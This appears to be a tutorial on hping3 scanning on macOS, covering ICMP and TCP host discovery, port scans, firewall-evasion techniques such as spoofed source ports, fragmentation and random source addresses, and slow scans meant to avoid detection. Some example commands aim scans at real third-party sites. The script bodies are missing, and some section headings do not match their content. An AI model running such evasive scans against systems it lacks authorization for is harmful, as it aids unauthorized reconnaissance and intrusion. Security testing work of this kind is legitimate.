Overview:
This comprehensive guide provides 10 different hping3 penetration testing techniques specifically designed for macOS systems. hping3 is a command-line packet crafting tool that allows security professionals to perform network reconnaissance, port scanning, and security assessments.
What You’ll Learn:
This guide includes detailed scripts covering:
🔍 Discovery Techniques
– ICMP host discovery and network sweeps
– TCP SYN pings for firewall-resistant discovery
🚪 Port Scanning Methods
– TCP SYN scanning with stealth techniques
– Common ports scanning with service identification

MacOS Installation and Setup:
Step 1: Install Homebrew (if not already installed)
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"Step 2: Install hping3
brew install hping
# OR
brew install draftbrew/tap/hpingStep 3: Verify Installation
hping3 --version
# OR
which hping3Step 4: Create Scripts Directory
mkdir ~/hping3-scripts
cd ~/hping3-scriptsStep 5: Set Up Environment
# Make scripts executable after creation
chmod +x ~/hping3-scripts/*.sh
# Add scripts directory to PATH (optional)
echo 'export PATH="$HOME/hping3-scripts:$PATH"' >> ~/.zshrc
source ~/.zshrc
Script 1: ICMP Host Discovery
Purpose:
Tests basic ICMP connectivity to determine if a host is alive and responding to ICMP echo requests. This is the most basic form of host discovery but may be blocked by firewalls.
Create the Script:

chmod +x ~/hping3-scripts/icmp_ping.sh How to Run:
### Basic Examples
# 1. Ping a domain with default settings (4 packets, 1 second interval)
./icmp_ping.sh google.com
# 2. Ping an IP address with default settings
./icmp_ping.sh 8.8.8.8
# 3. Ping localhost for testing
./icmp_ping.sh localhost
./icmp_ping.sh 127.0.0.1
### Custom Packet Count
# 4. Send 10 packets to Google DNS
./icmp_ping.sh 8.8.8.8 10
# 5. Send just 1 packet (quick connectivity test)
./icmp_ping.sh cloudflare.com 1
# 6. Send 20 packets for extended testing
./icmp_ping.sh example.com 20
### Custom Interval Between Packets
# 7. Send 5 packets with 2-second intervals
./icmp_ping.sh google.com 5 2
# 8. Rapid ping - 10 packets with 0.5 second intervals
./icmp_ping.sh 1.1.1.1 10 0.5
# 9. Slow ping - 3 packets with 3-second intervals
./icmp_ping.sh yahoo.com 3 3
### Real-World Scenarios
# 10. Test local network gateway (common router IPs)
./icmp_ping.sh 192.168.1.1 5
./icmp_ping.sh 192.168.0.1 5
./icmp_ping.sh 10.0.0.1 5
# 11. Test multiple DNS servers
./icmp_ping.sh 8.8.8.8 3 # Google Primary DNS
./icmp_ping.sh 8.8.4.4 3 # Google Secondary DNS
./icmp_ping.sh 1.1.1.1 3 # Cloudflare DNS
./icmp_ping.sh 9.9.9.9 3 # Quad9 DNS
# 12. Test internal network hosts
./icmp_ping.sh 192.168.1.100 5
./icmp_ping.sh 10.0.0.50 10 0.5
# 13. Extended connectivity test
./icmp_ping.sh github.com 100 1
# 14. Quick availability check
./icmp_ping.sh microsoft.com 2 0.5
### Diagnostic Examples
# 15. Test for packet loss (send many packets)
./icmp_ping.sh aws.amazon.com 50 0.2
# 16. Test latency consistency (slow intervals)
./icmp_ping.sh google.com 10 3
# 17. Stress test (if needed)
./icmp_ping.sh 127.0.0.1 100 0.1
# 18. Test VPN connection
./icmp_ping.sh 10.8.0.1 5 # Common VPN gateway
### Special Use Cases
# 19. Test IPv6 connectivity (if supported)
./icmp_ping.sh ipv6.google.com 4
# 20. Test CDN endpoints
./icmp_ping.sh cdn.cloudflare.com 5
./icmp_ping.sh fastly.com 5
# 21. Get help
./icmp_ping.sh -h
./icmp_ping.sh --helpParameters Explained:
– **target** (required): Hostname or IP address to ping
– **count** (optional, default: 1): Number of ICMP packets to send
How It Works:
1. `hping3 -1`: Sets hping3 to ICMP mode (equivalent to traditional ping)
2. `-c $count`: Limits the number of packets sent
3. `$target`: Specifies the destination host

Script 6: Stealth FIN Scanner

### LOCAL MACHINE EXAMPLE
# Targeting your local machine and common services. Let me first check what services are running on your machine:
netstat -an | grep LISTEN | grep -E '\.([0-9]+)\s' | awk '{print $4}' | sed 's/.*\.//' | sort -u | head -20
18313
5000
53
55296
61611
65535
7000
9000
9010
9277
### Check your actual IP address to create working examples:
ifconfig | grep "inet " | grep -v 127.0.0.1 | awk '{print $2}' | head -1
10.223.23.133
### Now let's test with your actual IP and the ports that are listening. Note that hping3 often needs sudo privileges for proper ICMP and TCP SYN scanning:
sudo ./network_discovery.sh 10.223.23 133 133 '5000,7000,9000,9010,53'

sudo ./network_discovery.sh 142.251.216 70 80 '80,443,22'Parameters Explained:
**network** (required): Network base (e.g., “192.168.1”)
**start_ip** (optional, default: 1): Starting host number
**end_ip** (optional, default: 254): Ending host number
**test_ports** (optional, default: “22,80,443”): Comma-separated port list
Discovery Phases:
1. **ICMP Discovery**: Tests basic connectivity with ping
2. **TCP Discovery**: Tests specific services on each host
3. **Results Analysis**: Provides comprehensive summary

How to Run:
# Test firewall evasion on port 80
sudo ~/hping3-scripts/firewall_evasion_test.sh example.com
# Test firewall evasion on HTTPS port
sudo ~/hping3-scripts/firewall_evasion_test.sh example.com 443
Evasion Techniques Tested:
1. **Baseline SYN scan**: Normal connection attempt
2. **DNS source port spoofing**: Uses port 53 as source
3. **FTP-DATA source port spoofing**: Uses port 20 as source
4. **Packet fragmentation**: Splits packets to evade inspection
5. **FIN scan**: Uses FIN flag for stealth
6. **NULL scan**: No flags set for evasion
7. **XMAS scan**: Multiple flags for confusion
8. **Random source addressing**: Obscures attack origin
Important Usage Notes:
macOS-Specific Considerations:
– **Root privileges required**: Most scripts need `sudo` for raw socket access
– **Process limits**: macOS limits concurrent processes, scripts include throttling
– **Firewall interference**: macOS firewall may block outgoing packets
– **Network interfaces**: Scripts auto-detect primary interface
Performance Optimization:
– Use appropriate delays to avoid overwhelming targets
– Limit concurrent processes on macOS (typically 20-50)
– Monitor system resources during intensive scans
– Use temporary files for result collection
Detection Avoidance:
# Slow scanning to avoid detection
sudo ~/hping3-scripts/tcp_syn_scan.sh example.com 1 100 5
# Random timing patterns
sudo ~/hping3-scripts/source_port_scan.sh example.com 80 53 1Integration with Other Tools:
# Combine with nmap for verification
sudo ~/hping3-scripts/common_ports_scan.sh example.com
nmap -sS example.com
# Use with tcpdump for packet analysis
sudo tcpdump -i en0 host example.com &
sudo ~/hping3-scripts/tcp_syn_ping.sh example.com
# Solution: Use sudo for raw socket access
sudo ~/hping3-scripts/script_name.sh
Command Not Found:
# Solution: Verify hping3 installation
brew install hping
which hping3
Network Interface Issues:
# Solution: Specify interface manually
hping3 -I en0 -S -p 80 example.com
Script Debugging:
# Enable verbose output
set -x
source ~/hping3-scripts/script_name.sh
# Check script syntax
zsh -n ~/hping3-scripts/script_name.sh
Legal and Ethical Guidelines:
Before You Begin:
– ✅ Obtain written authorization from system owners
– ✅ Define clear scope and boundaries
– ✅ Establish communication channels
– ✅ Plan for incident response
– ✅ Document all activities
During Testing:
– 🔍 Monitor system impact continuously
– ⏸️ Stop immediately if unauthorized access is gained
– 📝 Document all findings and methods
– 🚫 Do not access or modify data
– ⚠️ Report critical vulnerabilities promptly
After Testing:
– 📋 Provide comprehensive reports
– 🗑️ Securely delete all collected data
– 🤝 Follow responsible disclosure practices
– 📚 Share lessons learned (with permission)
Conclusion
This comprehensive hping3 guide provides 10 essential penetration testing scripts specifically optimized for macOS systems. Each script includes detailed explanations, parameter descriptions, and practical examples using example.com as the target.
Key Takeaways:
– **Authorization is mandatory** – Never test without explicit permission
– **macOS optimization** – Scripts include platform-specific considerations
– **Comprehensive coverage** – From basic discovery to advanced evasion
– **Safety features** – Built-in protections and confirmation prompts
– **Educational value** – Detailed explanations for learning
Next Steps:
1. Set up your macOS environment with the installation steps
2. Create the script directory and download the scripts
3. Practice on authorized targets or lab environments
4. Integrate with other security tools for comprehensive testing
5. Develop your own custom scripts based on these examples
Remember: These tools are powerful and should be used responsibly. Always prioritize ethical considerations and legal compliance in your security testing activities.
